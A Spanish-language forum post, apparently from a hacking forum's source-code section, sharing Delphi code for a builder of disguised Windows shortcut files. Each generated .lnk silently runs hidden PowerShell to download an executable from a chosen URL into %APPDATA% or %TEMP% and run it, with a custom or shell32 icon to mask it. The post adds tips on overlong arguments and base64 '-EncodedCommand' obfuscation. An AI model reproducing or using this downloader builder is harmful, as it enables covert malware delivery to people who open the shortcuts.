Imagen

falta codificar los argumentos con base64
tengo problemas con los 260 caracteres
y desconozco la powershell ,
nit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ImgList, ExtCtrls, ActiveX,ShlObj, ComObj,shellapi,unit2;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    ComboBox1: TComboBox;
    Label1: TLabel;
    Label2: TLabel;
    ImageList1: TImageList;
    ComboBox2: TComboBox;
    Button1: TButton;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    SaveDialog1: TSaveDialog;
    OpenDialog1: TOpenDialog;
    Button2: TButton;
    Button3: TButton;
    Edit3: TEdit;
    Label6: TLabel;
    Panel1: TPanel;
    Image1: TImage;
    CheckBox1: TCheckBox;
    Button4: TButton;
    Edit4: TEdit;
    Label7: TLabel;
    Label8: TLabel;
    procedure Button2Click(Sender: TObject);
    procedure ComboBox2DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure Button1Click(Sender: TObject);
    procedure ComboBox2Change(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Label8Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}


    { Getting the System Directory }

function SystemDir: string;
var
  dir: array [0..MAX_PATH] of Char;
begin
  GetSystemDirectory(dir, MAX_PATH);
  Result := StrPas(dir);
end;


  //temp
function GetTempDir: string;
var
  Buffer: array[0..MAX_PATH] of Char;
begin

  GetTempPath(SizeOf(Buffer) - 1, Buffer);
  Result := StrPas(Buffer);
    end;
 //user datos de programa
 function getUserPath:string;
var pathString:array[0..1023] of char;
begin
   ShGetSpecialFolderPath(0,PChar(@pathString),CSIDL_APPDATA,false);
   result:=pathString;
end;
//O MAS FACIL
//GetEnvironmentVariable('appdata') ;


   function CreateDesktopShellLink(): Boolean;
var
  e:integer;
  COPYTO:STRING ;
  NAME:STRING;
  arg, arg1,arg2:string;
  IObject: IUnknown;
  ISLink: IShellLink;
  IPFile: IPersistFile;
  url:string;

 // path:string;
  LinkName: widestring;
  TargetName : String;
begin
   //codifico a base64 la url
  url:=encode64(form1.edit1.text);

  Result := False;
  IObject := CreateComObject(CLSID_ShellLink);
  ISLink := IObject as IShellLink;
  IPFile := IObject as IPersistFile;

  with ISLink do
  begin
  if form1.combobox1.text='APPDATA' THEN
    copyto:='%APPDATA%';
   if form1.combobox1.text=  'TEMP' then
    COPYTO:='%TEMP%';
     name:=form1.edit2.text;
    targetname := systemdir+'\WindowsPowerShell\v1.0\powershell.exe';
     arg1:= '-windowstyle hidden (new-object System.Net.WebClient).DownloadFile('''+form1.edit1.text+''','''+copyto+'\'+name+'.exe'''+'); Start-Process "'+copyto+'\'+name+'.exe"';
       SetPath(PChar(TargetName));  //la ubicacion de powershell
    //SetWorkingDirectory(PChar(ExtractFilePath(TargetName))); //muestra path al archivo targetname
    // SetArguments(PChar(Arg+arg1));
    SetArguments(PansiChar(arg1));
    SetDescription('');

    if form1.checkbox1.checked then   begin
    seticonLocation (pchar(form1.edit4.text),0);
    end
    else
      begin
    e:=strtoint(form1.combobox2.text);
    setIconLocation(pchar(systemdir+'\shell32.dll'),e)
    end;
    LinkName := form1.edit3.text + '.lnk';

  if not FileExists(LinkName) then  //comprobar el nombre a guardar
    //if IPFile.Save(PWideChar(LinkName), False) = S_OK then
   if IPFile.Save(PWChar(LinkName), False) = S_OK then
      Result := True;
      
     end;
      end;
procedure TForm1.ComboBox2Change(Sender: TObject);

var
  iconos:ticon;
 index:integer;

begin
 Image1.Picture:=nil;
  iconos := TIcon.Create;
  index:=strtoint(combobox2.Text);
    try
    iconos.Handle := ExtractIcon(hInstance, 'shell32.dll', index);
     Image1.Picture.Bitmap.Width := iconos.Width;
      Image1.Picture.Bitmap.Height := iconos.Height;
       Image1.Picture.Bitmap.Canvas.Draw(0,0,iconos);
         finally
         iconos.free ;
         end;
      label5.Caption:=combobox2.Text;
  
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
if edit1.Text='' then begin
showmessage('no selecciono direcion url');
exit;
end;
if edit2.text='' then begin
  showmessage('no renombro  ejecutable de la descarga ');
  exit;
  end;
  if edit3.text='' then begin
  showmessage('no selecciono donde guardar el archivo resultante' );
  exit;
  end;

  if CreateDesktopShellLink then
    ShowMessage('acceso directo creado.')
    else
    showmessage('caramba ,hubo un error!');
end;

procedure TForm1.ComboBox2DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
    AnIcon : TIcon;
begin
    AnIcon := TIcon.Create;
    try
        form1.ImageList1.GetIcon (Index,AnIcon);
        with Control as TComboBox do begin
            Canvas.Draw (Rect.Left,Rect.Top,AnIcon);
            Canvas.TextOut (Rect.Left + form1.ImageList1.Width,Rect.Top,Items[Index]);
        end;
    finally
        AnIcon.Free;
    end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var
icon: TIcon;
i:integer;
begin
  imagelist1.Clear ;
icon := TIcon.Create;
try
for i:=0 to  237 do  begin

 icon.Handle:=(ExtractIcon(hInstance, 'shell32.dll', i));
 imagelist1.addicon(icon);

   end;
   finally
   icon.Free;
form1.ComboBox2.Items.Clear;
for i := 0 to ImageList1.Count-1 do begin
form1.ComboBox2.Items.Add(IntToStr(i));

end;
 end;
   end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  if savedialog1.Execute then
  edit3.Text:=savedialog1.FileName+'.ink';

end;

procedure TForm1.Button4Click(Sender: TObject);
var
icon:ticon;
Indice: word;
begin
image1.Picture:=nil;
if opendialog1.execute then
edit4.Text:=opendialog1.FileName;


  Icon := TIcon.Create;
  {Indice del icono a extraer}
  Indice := 0;
  Icon.handle := ExtractAssociatedIcon(hInstance, Pchar(edit4.text), Indice);
  Image1.Picture.Bitmap.Width := Icon.Width;
  Image1.Picture.Bitmap.Height := Icon.Height;
  Image1.Picture.Bitmap.Canvas.Draw(0, 0, Icon);
  Icon.Free;
  if   image1.Picture=nil   then
  showmessage ('no se puede extraer el icono');

end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if checkbox1.checked then  begin
 image1.Picture:= nil;
 combobox2.Clear;
 button1.enabled:=false;
   button4.enabled:=true;
 end
 else
 begin
 edit4.Text:='';
 image1.Picture:= nil;
 button1.enabled:=true;
   button4.enabled:=false;
end;
  end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  button4.enabled:=false;
end;

procedure TForm1.Label8Click(Sender: TObject);
begin
showmessage('los accesos directos no almacenan iconos'+#13#10+
' solo las rutas  a esos iconos,'#13#10+
' tenelo en cuenta al enviar a otra pc');
end;

end.
precaucion ver el codigo escrito asi ,puede causar que vomiten tus ojos
paresco malo ,pero soy bueno
para que entre mas de 250 caracteres (veri long argumen)
se usa extraido de stackoverflow [Enlace externo eliminado para invitados]
procedure TForm1.Button1Click(Sender: TObject);
var

  sl: IShellLinkW;   //pwidechar

  pf: IPersistFile;

begin
CoCreateInstance(CLSID_ShellLink, nil,
    CLSCTX_INPROC_SERVER, IID_IShellLinkw, sl);
  sl.SetPath('c:\test.bat');
  sl.SetWorkingDirectory('c:\');
   //StringOfChar('x', 300) repite x 300 veces

   sl.SetArguments(pwidechar(StringOfChar('x', 300)+'_the_end'));
   sl.setIconLocation(('c:\windows\system32\shell32.dll'),8);
   pf := sl as IPersistFile;
  pf.Save('c:\test.lnk', False);
end;
para codificar en base 64 los argumentos ya esta expuesto el codigo en otro post
para ejecutar desde powershell
seria powershell.exe "-EncodedCommand ZABpAHIAIABjADoAXAA= " (esto es dir c:\ pueden probarlo)
Imagen


eso es todo diria mi amigo dody
me tomo unas vacaciones y vuelvo
se ven al rato.
paresco malo ,pero soy bueno
Responder

Volver a “Fuentes”